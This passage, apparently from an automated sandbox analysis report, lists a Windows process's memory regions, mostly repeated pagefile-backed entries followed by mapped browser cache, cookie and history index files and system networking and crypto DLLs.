0x309fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 2719 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2720 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2721 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2722 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2723 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2724 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2725 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2726 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2727 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2728 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2729 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2730 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2731 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2732 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2733 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2734 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2735 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2736 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2737 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2738 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2739 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2740 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2741 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2742 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2743 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2744 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2745 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2746 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2747 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2748 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2749 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2750 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2751 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2752 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2753 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2754 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2803 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2804 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2805 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2806 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2807 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2808 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2809 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2810 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2811 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2812 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2813 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2814 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2815 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2816 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2817 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2818 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2819 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2820 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2821 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2822 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2823 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2824 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2825 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2826 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2827 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2828 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2829 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2830 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2831 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2832 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2833 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2834 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2835 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2836 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2837 start_va = 0x300000 end_va = 0x309fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 2838 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2839 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2840 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2841 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2842 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2843 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2844 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2845 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2846 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2847 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2848 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2849 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2850 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2851 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2852 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2853 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2854 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2855 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2856 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2857 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2858 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2859 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2860 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2861 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2862 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2863 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2864 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2865 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2866 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2867 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2868 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2869 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2870 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2871 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2872 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2873 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2874 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2875 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2876 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2877 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2878 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2879 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2880 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2881 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2882 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2883 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2901 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2902 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2903 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2904 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2905 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2906 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2907 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2908 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2909 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2910 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2911 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2912 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2913 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2914 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2915 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2916 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2917 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2918 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2919 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2920 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2921 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2922 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2923 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2924 start_va = 0x260000 end_va = 0x269fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 3059 start_va = 0x260000 end_va = 0x261fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 3060 start_va = 0x300000 end_va = 0x30ffff entry_point = 0x300000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3061 start_va = 0x350000 end_va = 0x357fff entry_point = 0x350000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3062 start_va = 0x390000 end_va = 0x3a3fff entry_point = 0x390000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3063 start_va = 0x75cc0000 end_va = 0x75cf4fff entry_point = 0x75cc0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3093 start_va = 0x75670000 end_va = 0x75675fff entry_point = 0x75670000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3094 start_va = 0x2af0000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3101 start_va = 0x73e40000 end_va = 0x73e83fff entry_point = 0x73e40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 3102 start_va = 0x2d20000 end_va = 0x2f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 3103 start_va = 0x74bb0000 end_va = 0x74bcbfff entry_point = 0x74bb0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 3104 start_va = 0x73e30000 end_va = 0x73e36fff entry_point = 0x73e30000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 3105 start_va = 0x73dd0000 end_va = 0x73e21fff entry_point = 0x73dd0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 3106 start_va = 0x73db0000 end_va = 0x73dc4fff entry_point = 0x73db0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 3107 start_va = 0x73d90000 end_va = 0x73d9cfff entry_point = 0x73d90000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 3108 start_va = 0x2240000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 3109 start_va = 0x2af0000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3110 start_va = 0x2ce0000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 3111 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3112 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3113 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 3114 start_va = 0x73a40000 end_va = 0x73a45fff entry_point = 0x73a40000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 3115 start_va = 0x870000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 3116 start_va = 0x2280000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 3117 start_va = 0x2d20000 end_va = 0x2e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 3118 start_va = 0x2f00000 end_va = 0x2f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 3119 start_va = 0x739d0000 end_va = 0x739dffff entry_point = 0x739d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 3120 start_va = 0x739e0000 end_va = 0x73a39fff entry_point = 0x739e0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 3121 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3122 start_va = 0x3050000 end_va = 0x305ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 3123 start_va = 0x739b0000 end_va = 0x739c5fff entry_point = 0x739b0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3124 start_va = 0x73970000 end_va = 0x739aafff entry_point = 0x73970000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3125 start_va = 0x73960000 end_va = 0x7396dfff entry_point = 0x73960000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3126 start_va = 0x22c0000 end_va = 0x22fffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 3127 start_va = 0x2f40000 end_va = 0x303ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f40000" filename = "" Region: id = 3128 start_va = 0x73950000 end_va = 0x73957fff entry_point = 0x73950000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 3129 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3259 start_va = 0x31d0000 end_va = 0x31dffff entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 3260 start_va = 0x73940000 end_va = 0x7394ffff entry_point = 0x73940000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 3261 start_va = 0x73920000 end_va = 0x73931fff entry_point = 0x73920000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 3262 start_va = 0x738e0000 end_va = 0x7391bfff entry_point = 0x738e0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 3263 start_va = 0x738d0000 end_va = 0x738d7fff entry_point = 0x738d0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 3264 start_va = 0x738c0000 end_va = 0x738c4fff entry_point = 0x738c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 3265 start_va = 0x738b0000 end_va = 0x738b5fff entry_point = 0x738b0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 3266 start_va = 0x738a0000 end_va = 0x738a5fff entry_point = 0x738a0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 3267 start_va = 0x73860000 end_va = 0x73897fff entry_point = 0x73860000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 3268 start_va = 0x2bf0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 3269 start_va = 0x3170000 end_va = 0x31affff entry_point = 0x0 region_type = private name = "private_0x0000000003170000" filename = "" Region: id = 